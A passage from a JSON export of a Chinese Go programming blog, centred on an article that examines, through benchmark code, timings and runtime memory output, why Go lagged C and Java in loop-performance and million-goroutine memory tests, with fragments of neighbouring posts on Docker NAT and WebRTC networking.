4787\u003c/a\u003e中按分配行为和过滤行为对NAT行为的分类。\u003c/p\u003e\n\u003cp\u003e不过，“纸上得来终觉浅，绝知此事要躬行”，在这篇文章中，我打算选取一个具体的NAT实现进行案例研究(Case Study)。在市面上的NAT实现中，Docker容器的网络NAT绝对是最容易获得的一种实现。因此，我们将把\u003ca href=\"https://tonybai.com/2016/01/15/understanding-container-networking-on-single-host/\"\u003eDocker默认网络\u003c/a\u003e的NAT实现机制作为本篇的研究对象，探索该NAT的分配行为和过滤行为，以确定Docker默认网络的NAT类型。\u003c/p\u003e","title":"探索Docker默认网络NAT映射的分配与过滤行为"},{"content":"\n本文永久链接 – https://tonybai.com/2024/12/02/why-go-sucks\n编程语言比较的话题总是能吸引程序员的眼球！\n近期外网的两篇编程语言对比的文章在国内程序员圈里引起热议。一篇是由Ben Dicken (@BenjDicken) 做的语言性能测试，对比了十多种主流语言在执行10亿次循环(一个双层循环：1万 * 10 万)的速度；另一篇则是一个名为hez2010的开发者做的内存开销测试，对比了多种语言在处理百万任务时的内存开销。\n下面是这两项测试的结果示意图：\n10亿循环测试结果\n百万任务内存开销测试结果\n我们看到：在这两项测试中，Go的表现不仅远不及NonGC的C/Rust，甚至还落后于Java，尤其是在内存开销测试中，Go的内存使用显著高于以“吃内存”著称的Java。这一结果让许多开发者感到意外，因为Go通常被认为是轻量级的语言，然而实际的测试结果却揭示了其在高并发场景下的“内存效率不足”。\n那么究竟为何在这两项测试中，Go的表现都不及预期呢？在这篇文章中，我将探讨可能的原因，以供大家参考。\n我们先从十亿次循环测试开始。\n1. 循环测试跑的慢，都因编译器优化还不够 下面是作者给出的Go测试程序：\n// why-go-sucks/billion-loops/go/code.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strconv\u0026#34; ) func main() { input, e := strconv.Atoi(os.Args[1]) // Get an input number from the command line if e != nil { panic(e) } u := int32(input) r := int32(rand.Intn(10000)) // Get a random number 0 \u0026lt;= r \u0026lt; 10k var a [10000]int32 // Array of 10k elements initialized to 0 for i := int32(0); i \u0026lt; 10000; i++ { // 10k outer loop iterations for j := int32(0); j \u0026lt; 100000; j++ { // 100k inner loop iterations, per outer loop iteration a[i] = a[i] + j%u // Simple sum } a[i] += r // Add a random value to each element in array } fmt.Println(a[r]) // Print out a single element from the array } 这段代码通过命令行参数获取一个整数，然后生成一个随机数，接着通过两层循环对一个数组的每个元素进行累加，最终输出该数组中以随机数为下标对应的数组元素的值。\n我们再来看一下”竞争对手”的测试代码。C测试代码如下：\n// why-go-sucks/billion-loops/c/code.c #include \u0026#34;stdio.h\u0026#34; #include \u0026#34;stdlib.h\u0026#34; #include \u0026#34;stdint.h\u0026#34; int main (int argc, char** argv) { int u = atoi(argv[1]); // Get an input number from the command line int r = rand() % 10000; // Get a random integer 0 \u0026lt;= r \u0026lt; 10k int32_t a[10000] = {0}; // Array of 10k elements initialized to 0 for (int i = 0; i \u0026lt; 10000; i++) { // 10k outer loop iterations for (int j = 0; j \u0026lt; 100000; j++) { // 100k inner loop iterations, per outer loop iteration a[i] = a[i] + j%u; // Simple sum } a[i] += r; // Add a random value to each element in array } printf(\u0026#34;%d\\n\u0026#34;, a[r]); // Print out a single element from the array } 下面是Java的测试代码：\n// why-go-sucks/billion-loops/java/code.java package jvm; import java.util.Random; public class code { public static void main(String[] args) { var u = Integer.parseInt(args[0]); // Get an input number from the command line var r = new Random().nextInt(10000); // Get a random number 0 \u0026lt;= r \u0026lt; 10k var a = new int[10000]; // Array of 10k elements initialized to 0 for (var i = 0; i \u0026lt; 10000; i++) { // 10k outer loop iterations for (var j = 0; j \u0026lt; 100000; j++) { // 100k inner loop iterations, per outer loop iteration a[i] = a[i] + j % u; // Simple sum } a[i] += r; // Add a random value to each element in array } System.out.println(a[r]); // Print out a single element from the array } } 你可能不熟悉C或Java，但从代码的形式上来看，C、Java与Go的代码确实处于“同等条件”。这不仅意味着它们在相同的硬件和软件环境中运行，更包括它们采用了相同的计算逻辑和算法，以及一致的输入参数处理等方面的相似性。\n为了确认一下原作者的测试结果，我在一台阿里云ECS上(amd64，8c32g，CentOS 7.9)对上面三个程序进行了测试(使用time命令测量计算耗时)，得到一个基线结果。我的环境下，C、Java和Go的编译器版本如下：\n$go version go version go1.23.0 linux/amd64 $java -version openjdk version \u0026#34;17.0.9\u0026#34; 2023-10-17 LTS OpenJDK Runtime Environment Zulu17.46+19-CA (build 17.0.9+8-LTS) OpenJDK 64-Bit Server VM Zulu17.46+19-CA (build 17.0.9+8-LTS, mixed mode, sharing) $gcc -v 使用内建 specs。 COLLECT_GCC=gcc COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-redhat-linux/4.8.5/lto-wrapper 目标：x86_64-redhat-linux 配置为：../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-linker-hash-style=gnu --enable-languages=c,c++,objc,obj-c++,java,fortran,ada,go,lto --enable-plugin --enable-initfini-array --disable-libgcj --with-isl=/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/isl-install --with-cloog=/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/cloog-install --enable-gnu-indirect-function --with-tune=generic --with-arch_32=x86-64 --build=x86_64-redhat-linux 线程模型：posix gcc 版本 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC) 测试步骤与结果如下：\nGo代码测试： $cd why-go-sucks/billion-loops/go $go build -o code code.go $time ./code 10 456953 real 0m3.766s user 0m3.767s sys 0m0.007s C代码测试： $cd why-go-sucks/billion-loops/c $gcc -O3 -std=c99 -o code code.c $time ./code 10 459383 real 0m3.005s user 0m3.005s sys 0m0.000s Java代码测试： $javac -d . code.java $time java -cp . jvm.code 10 456181 real 0m3.105s user 0m3.092s sys 0m0.027s 从测试结果看到(基于real时间)：采用-O3优化的C代码最快，Java落后一个身位，而Go则比C慢了25%，比Java慢了21%。\n注：time命令的输出结果通常包含三个主要部分：real、user和sys。real是从命令开始执行到结束所经过的实际时间（墙钟时间），我们依次指标为准。user是程序在用户模式下执行所消耗的CPU时间。sys则是程序在内核模式下执行所消耗的CPU时间（系统调用）。如果总时间（real）略低于用户时间（user），这表明程序可能在某些时刻被调度或等待，而不是持续占用CPU。这种情况可能是由于输入输出操作、等待资源等原因。如果real时间显著小于user时间，这种情况通常发生在并发程序中，其中多个线程或进程在不同的时间段执行，导致总的用户CPU时间远大于实际的墙钟时间。sys时间保持较低，说明系统调用的频率较低，程序主要是执行计算而非进行大量的系统交互。\n这时作为Gopher的你可能会说：原作者编写的Go测试代码不够优化，我们能优化到比C还快！\n大家都知道原代码是不够优化的，随意改改计算逻辑就能带来大幅提升。但我们不能忘了“同等条件”这个前提。你采用的优化方法，其他语言（C、Java）也可以采用。\n那么，在不改变“同等条件”的前提下，我们还能优化点啥呢？本着能提升一点是一点的思路，我们尝试从下面几个点优化一下，看看效果：\n去除不必要的if判断 使用更快的rand实现 关闭边界检查 避免逃逸 下面是修改之后的代码：\n// why-go-sucks/billion-loops/go/code_optimize.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strconv\u0026#34; ) func main() { input, _ := strconv.Atoi(os.Args[1]) // Get an input number from the command line u := int32(input) r := int32(rand.Uint32() % 10000) // Use Uint32 for faster random number generation var a [10000]int32 // Array of 10k elements initialized to 0 for i := int32(0); i \u0026lt; 10000; i++ { // 10k outer loop iterations for j := int32(0); j \u0026lt; 100000; j++ { // 100k inner loop iterations, per outer loop iteration a[i] = a[i] + j%u // Simple sum } a[i] += r // Add a random value to each element in array } z := a[r] fmt.Println(z) // Print out a single element from the array } 我们编译并运行一下测试：\n$cd why-go-sucks/billion-loops/go $go build -o code_optimize -gcflags \u0026#39;-B\u0026#39; code_optimize.go $time ./code_optimize 10 459443 real 0m3.761s user 0m3.759s sys 0m0.011s 对比一下最初的测试结果，这些“所谓的优化”没有什么卵用，优化前你估计也能猜测到这个结果，因为除了关闭边界检查，其他优化都没有处于循环执行的热路径之上。\n注：rand.Uint32() % 10000的确要比rand.Intn(10000)快，我自己的benchmark结果是快约1倍。\n那Go程序究竟慢在哪里呢？在“同等条件”下，我能想到的只能是Go编译器后端在代码优化方面优化做的还不够，相较于GCC、Java等老牌编译器还有明显差距。\n比如说，原先的代码中在内层循环中频繁访问a[i]，导致数组访问的读写操作较多（从内存加载a[i]，更新值后写回）。GCC和Java编译器在后端很可能做了这样的优化：将数组元素累积到一个临时变量中，并在外层循环结束后写回数组，这样做可以减少内层循环中的内存读写操作，充分利用CPU缓存和寄存器，加速数据处理。\n注：数组从内存或缓存读，而一个临时变量很大可能是从寄存器读，那读取速度相差还是很大的。\n如果我们手工在Go中实施这一优化，看看能达到什么效果呢？我们改一下最初版本的Go代码(code.go)，新代码如下：\n// why-go-sucks/billion-loops/go/code_local_var.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strconv\u0026#34; ) func main() { input, e := strconv.Atoi(os.Args[1]) // Get an input number from the command line if e != nil { panic(e) } u := int32(input) r := int32(rand.Intn(10000)) // Get a random number 0 \u0026lt;= r \u0026lt; 10k var a [10000]int32 // Array of 10k elements initialized to 0 for i := int32(0); i \u0026lt; 10000; i++ { // 10k outer loop iterations temp := a[i] for j := int32(0); j \u0026lt; 100000; j++ { // 100k inner loop iterations, per outer loop iteration temp += j % u // Simple sum } temp += r // Add a random value to each element in array a[i] = temp } fmt.Println(a[r]) // Print out a single element from the array } 编译并运行测试：\n$go build -o code_local_var code_local_var.go $time ./code_local_var 10 459169 real 0m3.017s user 0m3.017s sys 0m0.007s 我们看到，测试结果直接就比Java略好一些了。显然Go编译器没有做这种优化，从code.go的汇编也大致可以看出来：\n使用lensm生成的汇编与go源码对应关系\n而Java显然做了这类优化，我们在原Java代码版本上按上述优化逻辑修改了一下：\n// why-go-sucks/billion-loops/java/code_local_var.java package jvm; import java.util.Random; public class code { public static void main(String[] args) { var u = Integer.parseInt(args[0]); // 获取命令行输入的整数 var r = new Random().nextInt(10000); // 生成随机数 0 \u0026lt;= r \u0026lt; 10000 var a = new int[10000]; // 定义长度为10000的数组a for (var i = 0; i \u0026lt; 10000; i++) { // 10k外层循环迭代 var temp = a[i]; // 使用临时变量存储 a[i] 的值 for (var j = 0; j \u0026lt; 100000; j++) { // 100k内层循环迭代，每次外层循环迭代 temp += j % u; // 更新临时变量的值 } a[i] = temp + r; // 将临时变量的值加上 r 并写回数组 } System.out.println(a[r]); // 输出 a[r] 的值 } } 但从运行这个“优化”后的程序的结果来看，其对java代码的提升幅度几乎可以忽略不计：\n$time java -cp . jvm.code 10 450375 real 0m3.043s user 0m3.028s sys 0m0.027s 这也直接证明了即便采用的是原版java代码，java编译器也会生成带有抽取局部变量这种优化的可执行代码，java程序员无需手工进行此类优化。\n像这种编译器优化，还有不少，比如大家比较熟悉的循环展开(Loop Unrolling)也可以提升Go程序的性能：\n// why-go-sucks/billion-loops/go/code_loop_unrolling.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strconv\u0026#34; ) func main() { input, e := strconv.Atoi(os.Args[1]) // Get an input number from the command line if e != nil { panic(e) } u := int32(input) r := int32(rand.Intn(10000)) // Get a random number 0 \u0026lt;= r \u0026lt; 10k var a [10000]int32 // Array of 10k elements initialized to 0 for i := int32(0); i \u0026lt; 10000; i++ { // 10k outer loop iterations var sum int32 // Unroll inner loop in chunks of 4 for optimization for j := int32(0); j \u0026lt; 100000; j += 4 { sum += j % u sum += (j + 1) % u sum += (j + 2) % u sum += (j + 3) % u } a[i] = sum + r // Add the accumulated sum and random value } fmt.Println(a[r]) // Print out a single element from the array } 运行这个Go测试程序，性能如下：\n$go build -o code_loop_unrolling code_loop_unrolling.go $time ./code_loop_unrolling 10 458908 real 0m2.937s user 0m2.940s sys 0m0.002s 循环展开可以增加指令级并行性，因为展开后的代码块中可以有更多的独立指令，比如示例中的计算j % u、(j+1) % u、(j+2) % u和(j+3) % u，这些计算操作是独立的，可以并行执行，打破了依赖链，从而更好地利用处理器的并行流水线。而原版Go代码中，每次迭代都会根据前一次迭代的结果更新a[i]，形成一个依赖链，这种顺序依赖性迫使处理器只能按顺序执行这些指令，导致流水线停顿。\n不过其他语言也可以做同样的手工优化，比如我们对C代码做同样的优化(why-go-sucks/billion-loops/c/code_loop_unrolling.c)，c测试程序的性能可以提升至2.7s水平，这也证明了初版C程序即便在-O3的情况下编译器也没有自动为其做这个优化：\n$time ./code_loop_unrolling 10 459383 real 0m2.723s user 0m2.722s sys 0m0.001s 到这里我们就不再针对这个10亿次循环的性能问题做进一步展开了，从上面的探索得到的初步结论就是Go编译器优化做的还不到位所致，期待后续Go团队能在编译器优化方面投入更多精力，争取早日追上GCC/Clang、Java这些成熟的编译器优化水平。\n下面我们再来看Go在百万任务场景下内存开销大的“问题”。\n2. 内存占用高，问题出在Goroutine实现原理 我们先来看第二个问题的测试代码：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strconv\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) func main() { numRoutines := 100000 if len(os.Args) \u0026gt; 1 { n, err := strconv.Atoi(os.Args[1]) if err == nil { numRoutines = n } } var wg sync.WaitGroup for i := 0; i \u0026lt; numRoutines; i++ { wg.Add(1) go func() { time.Sleep(10 * time.Second) wg.Done() }() } wg.Wait() } 这个代码其实就是根据传入的task数量启动等同数量的goroutine，然后每个goroutine模拟工作负载sleep 10s，这等效于百万长连接的场景，只有连接，但没有收发消息。\n相对于上一个问题，这个问题更好解释一些。\nGo使用的groutine是一种有栈协程，文章中使用的是每个task一个goroutine的模型，且维护百万任务一段时间，这会真实创建百万个goroutine（G数据结构），并为其分配栈空间(2k起步)，这样你可以算一算，不考虑其他结构的占用，仅每个goroutine的栈空间所需的内存都是极其可观的：\nmem = 1000000 * 2000 Bytes = 2000000000 Bytes = 2G Bytes 所以启动100w goroutine，保底就2GB内存出去了，这与原作者测试的结果十分契合(原文是2.5GB多)。并且，内存还会随着goroutine数量增长而线性增加。\n那么如何能减少内存使用呢？如果采用每个task一个goroutine的模型，这个内存占用很难省去，除非将来Go团队对goroutine实现做大修。\n如果task是网络通信相关的，可以使用类似gnet这样的直接基于epoll建构的框架，其主要的节省在于不会启动那么多goroutine，而是通过一个goroutine池来处理数据，每个池中的goroutine负责一批网络连接或网络请求。\n在一些Gopher的印象中，Goroutine一旦分配就不回收，这会使他们会误认为一旦分配了100w goroutine，这2.5G内存空间将始终被占用，真实情况是这样么？我们用一个示例程序验证一下就好了：\n// why-go-sucks/million-tasks/million-tasks.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;os/signal\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;syscall\u0026#34; \u0026#34;time\u0026#34; ) // 打印当前内存使用情况和相关信息 func printMemoryUsage() { var m runtime.MemStats runtime.ReadMemStats(\u0026amp;m) // 获取当前 goroutine 数量 numGoroutines := runtime.NumGoroutine() // 获取当前线程数量 numThreads := runtime.NumCPU() // Go runtime 不直接提供线程数量，但可以通过 NumCPU 获取逻辑处理器数量 fmt.Printf(\u0026#34;======\u0026gt;\\n\u0026#34;) fmt.Printf(\u0026#34;Alloc = %v MiB\u0026#34;, bToMb(m.Alloc)) fmt.Printf(\u0026#34;\\tTotalAlloc = %v MiB\u0026#34;, bToMb(m.TotalAlloc)) fmt.Printf(\u0026#34;\\tSys = %v MiB\u0026#34;, bToMb(m.Sys)) fmt.Printf(\u0026#34;\\tNumGC = %v\u0026#34;, m.NumGC) fmt.Printf(\u0026#34;\\tNumGoroutines = %v\u0026#34;, numGoroutines) fmt.Printf(\u0026#34;\\tNumThreads = %v\\n\u0026#34;, numThreads) fmt.Printf(\u0026#34;\u0026lt;======\\n\\n\u0026#34;) } // 将字节转换为 MB func bToMb(b uint64) uint64 { return b / 1024 / 1024 } func main() { const signal1Goroutines = 900000 const signal2Goroutines = 90000 const signal3Goroutines = 10000 // 用于接收退出信号 sigChan := make(chan os.Signal, 1) signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM) // 控制 goroutine 的退出 signal1Chan := make(chan struct{}) signal2Chan := make(chan struct{}) signal3Chan := make(chan struct{}) var wg sync.WaitGroup ticker := time.NewTicker(5 * time.Second) go func() { for range ticker.C { printMemoryUsage() } }() // 等待退出信号 go func() { count := 0 for { \u0026lt;-sigChan count++ if count == 1 { log.Println(\u0026#34;收到第一类goroutine退出信号\u0026#34;) close(signal1Chan) // 关闭 signal1Chan，通知第一类 goroutine 退出 continue } if count == 2 { log.Println(\u0026#34;收到第二类goroutine退出信号\u0026#34;) close(signal2Chan) // 关闭 signal2Chan，通知第二类 goroutine 退出 continue } log.Println(\u0026#34;收到第三类goroutine退出信号\u0026#34;) close(signal3Chan) // 关闭 signal3Chan，通知第三类 goroutine 退出 return } }() // 启动第一类 goroutine（在收到 signal1 时退出） log.Println(\u0026#34;开始启动第一类goroutine...\u0026#34;) for i := 0; i \u0026lt; signal1Goroutines; i++ { wg.Add(1) go func(id int) { defer wg.Done() // 模拟工作 for { select { case \u0026lt;-signal1Chan: return default: time.Sleep(10 * time.Second) // 模拟一些工作 } } }(i) } log.Println(\u0026#34;启动第一类goroutine(900000) ok\u0026#34;) time.Sleep(time.Second * 5) // 启动第二类 goroutine（在收到 signal2 时退出） log.Println(\u0026#34;开始启动第二类goroutine...\u0026#34;) for i := 0; i \u0026lt; signal2Goroutines; i++ { wg.Add(1) go func(id int) { defer wg.Done() // 模拟工作 for { select { case \u0026lt;-signal2Chan: return default: time.Sleep(10 * time.Second) // 模拟一些工作 } } }(i) } log.Println(\u0026#34;启动第二类goroutine(90000) ok\u0026#34;) time.Sleep(time.Second * 5) // 启动第三类goroutine（随程序退出而退出） log.Println(\u0026#34;开始启动第三类goroutine...\u0026#34;) for i := 0; i \u0026lt; signal3Goroutines; i++ { wg.Add(1) go func(id int) { defer wg.Done() // 模拟工作 for { select { case \u0026lt;-signal3Chan: return default: time.Sleep(10 * time.Second) // 模拟一些工作 } } }(i) } log.Println(\u0026#34;启动第三类goroutine(90000) ok\u0026#34;) // 等待所有 goroutine 完成 wg.Wait() fmt.Println(\u0026#34;所有 goroutine 已退出，程序结束\u0026#34;) } 这个程序我就不详细解释了。大致分三类goroutine，第一类90w个，在我发送第一个ctrl+c信号后退出，第二类9w个，在我发送第二个ctrl+c信号后退出，最后一类1w个，随着程序退出而退出。\n在我的执行环境下编译和执行一下这个程序，并结合runtime输出以及使用top -p pid的方式查看其内存占用：\n$go build million-tasks.go $./million-tasks 2024/12/01 22:07:03 开始启动第一类goroutine... 2024/12/01 22:07:05 启动第一类goroutine(900000) ok ======\u0026gt; Alloc = 511 MiB TotalAlloc = 602 MiB Sys = 2311 MiB NumGC = 9 NumGoroutines = 900004 NumThreads = 8 \u0026lt;====== 2024/12/01 22:07:10 开始启动第二类goroutine... 2024/12/01 22:07:11 启动第二类goroutine(90000) ok ======\u0026gt; Alloc = 577 MiB TotalAlloc = 668 MiB Sys = 2553 MiB NumGC = 9 NumGoroutines = 990004 NumThreads = 8 \u0026lt;====== 2024/12/01 22:07:16 开始启动第三类goroutine... 2024/12/01 22:07:16 启动第三类goroutine(90000) ok ======\u0026gt; Alloc = 597 MiB TotalAlloc = 688 MiB Sys = 2593 MiB NumGC = 9 NumGoroutines = 1000004 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 600 MiB TotalAlloc = 690 MiB Sys = 2597 MiB NumGC = 9 NumGoroutines = 1000004 NumThreads = 8 \u0026lt;====== ... ... ======\u0026gt; Alloc = 536 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 10 NumGoroutines = 1000004 NumThreads = 8 \u0026lt;====== 100w goroutine全部创建ok后，我们查看一下top输出：\nPID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 5800 root 20 0 3875556 2.5g 988 S 54.0 8.2 0:30.92 million-tasks 我们看到RES为2.5g，和我们预期的一致！\n接下来，我们停掉第一批90w个goroutine，看RES是否会下降，何时会下降！\n输入ctrl+c，停掉第一批90w goroutine：\n^C2024/12/01 22:10:15 收到第一类goroutine退出信号 ======\u0026gt; Alloc = 536 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 10 NumGoroutines = 723198 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 536 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 10 NumGoroutines = 723198 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 536 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 10 NumGoroutines = 100004 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 536 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 10 NumGoroutines = 100004 NumThreads = 8 \u0026lt;====== ... ... 但同时刻的top显示RES并没有变化：\nPID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 5800 root 20 0 3875812 2.5g 988 S 0.0 8.2 0:56.38 million-tasks 等待两个GC间隔的时间后(大约4分)，Goroutine的栈空间被释放：\n======\u0026gt; Alloc = 465 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 12 NumGoroutines = 100004 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 465 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 12 NumGoroutines = 100004 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 465 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 12 NumGoroutines = 100004 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 465 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 12 NumGoroutines = 100004 NumThreads = 8 \u0026lt;====== top显示RES从2.5g下降为大概700多MB（RES的单位是KB）：\nPID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 5800 root 20 0 3875812 764136 992 S 0.0 2.4 1:01.87 million-tasks 接下来，我们再停掉第二批9w goroutine：\n^C2024/12/01 22:16:21 收到第二类goroutine退出信号 ======\u0026gt; Alloc = 465 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 13 NumGoroutines = 100004 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 465 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 13 NumGoroutines = 100004 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 465 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 13 NumGoroutines = 10004 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 465 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 13 NumGoroutines = 10004 NumThreads = 8 \u0026lt;====== 此时，top值也没立即改变：\nPID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 5800 root 20 0 3875812 764136 992 S 0.0 2.4 1:05.99 million-tasks 大约等待一个GC间隔(2分钟)后，top中RES下降：\n======\u0026gt; Alloc = 458 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 14 NumGoroutines = 10004 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 458 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 14 NumGoroutines = 10004 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 458 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 14 NumGoroutines = 10004 NumThreads = 8 \u0026lt;====== RES变为不到700M：\nPID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 5800 root 20 0 3875812 699156 992 S 0.0 2.2 1:06.75 million-tasks 第三次按下ctrl+c，程序退出：\n^C2024/12/01 22:18:46 收到第三类goroutine退出信号 ======\u0026gt; Alloc = 458 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 14 NumGoroutines = 10003 NumThreads = 8 \u0026lt;====== ======\u0026gt; Alloc = 458 MiB TotalAlloc = 695 MiB Sys = 2606 MiB NumGC = 14 NumGoroutines = 10003 NumThreads = 8 \u0026lt;====== 所有 goroutine 已退出，程序结束 我们看到Go是会回收goroutine占用的内存空间的，并且归还给OS，只是这种归还比较lazy。尤其是，第二次停止goroutine前，go程序剩下10w goroutine，按理论来讲需占用大约200MB的空间，实际上却是700多MB；第二次停止goroutine后，goroutine数量降为1w，理论占用应该在20MB，但实际却是600多MB，我们看到go运行时这种lazy归还OS内存的行为可能也是“故意为之”，是为了避免反复从OS申请和归还内存。\n3. 小结 本文主要探讨了Go语言在十亿次循环和百万任务的测试中的表现令人意外地逊色于Java和C语言的原因。我认为Go在循环执行中的慢速表现，主要是其编译器优化不足，影响了执行效率。 而在内存开销方面，Go的Goroutine实现是使得内存使用量大幅增加的“罪魁祸首”，这是由于每个Goroutine初始都会分配固定大小的栈空间。\n通过本文的探讨，我的主要目的是希望大家不要以讹传讹，而是要搞清楚背后的真正原因，并正视Go在某些方面的不足，以及其当前在某些应用上下文中的局限性。 同时，也希望Go开发团队在编译器优化方面进行更多投入，以提升Go在高性能计算领域的竞争力。\n本文涉及的源码可以在这里下载。\n4. 参考资料 Billion nested loop iterations – https://benjdd.com/languages/ How Much Memory Do You Need in 2024 to Run 1 Million Concurrent Tasks? – https://hez2010.github.io/async-runtimes-benchmarks-2024/ Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/12/02/why-go-sucks/","summary":"\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/why-go-sucks-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/12/02/why-go-sucks\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/12/02/why-go-sucks\"\u003ehttps://tonybai.com/2024/12/02/why-go-sucks\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e编程语言比较的话题总是能吸引程序员的眼球！\u003c/p\u003e\n\u003cp\u003e近期外网的两篇编程语言对比的文章在国内程序员圈里引起热议。一篇是由\u003ca href=\"https://benjdd.com/\"\u003eBen Dicken (@BenjDicken)\u003c/a\u003e 做的\u003ca href=\"https://benjdd.com/languages/\"\u003e语言性能测试\u003c/a\u003e，对比了十多种主流语言在执行10亿次循环(一个双层循环：1万 * 10 万)的速度；另一篇则是一个名为hez2010的开发者做的\u003ca href=\"https://hez2010.github.io/async-runtimes-benchmarks-2024/\"\u003e内存开销测试\u003c/a\u003e，对比了多种语言在处理百万任务时的内存开销。\u003c/p\u003e","title":"惊！Go在十亿次循环和百万任务中表现不如Java，究竟为何？"},{"content":"\n本文永久链接 – https://tonybai.com/2024/11/27/webrtc-first-lesson-network-architecture-and-how-nat-work\n2023年下旬，OpenAI与Livekit的合作在科技圈引起了不小的轰动。这两家公司联手，通过WebRTC技术和大型语言模型（LLM）的结合，使AI模型具有了看、听和说话的能力。这一举动不仅彰显了WebRTC在现代通信技术中的重要地位，也为我们揭示了AI与实时通信融合的无限可能。WebRTC技术在大流行后再一次进入技术人的视野，恰好在我们今年打造的产品中，WebRTC也是技术栈的核心。\n在去年9月份，我写了一篇WebRTC入门科普的文章：使用Go和WebRTC data channel实现端到端实时通信，在那篇文章中，我对WebRTC技术做了一些概述说明，并通过一个基于Go语言的实例，展示了如何实现端到端的实时通信。大家可以通过那篇文章了解WebRTC技术的基础概念和核心架构。\nWebRTC端到端实时通信的效果主要取决于两个重要因素，一个通信质量，一个是音视频编解码质量。对于入门类文章来说，改进通信质量或音视频编解码质量还为时尚早，我们亟需了解的是其背后的原理。\n在这篇文章以及后续的几篇文章中，我们先来关注一下“WebRTC网络通信”。我们会先了解一下WebRTC网络架构，然后对WebRTC中的难点，诸如NAT打洞、基于信令与ICE的建连等做深入分析。\n在这篇文章中，我们先来学习NAT的工作原理，探讨不同类型的NAT网络行为是如何影响点对点通信的，为后续理解WebRTC的NAT打洞(也称为NAT穿透)和端到端建连做准备。\n1. WebRTC网络架构 我们知道WebRTC（Web Real-Time 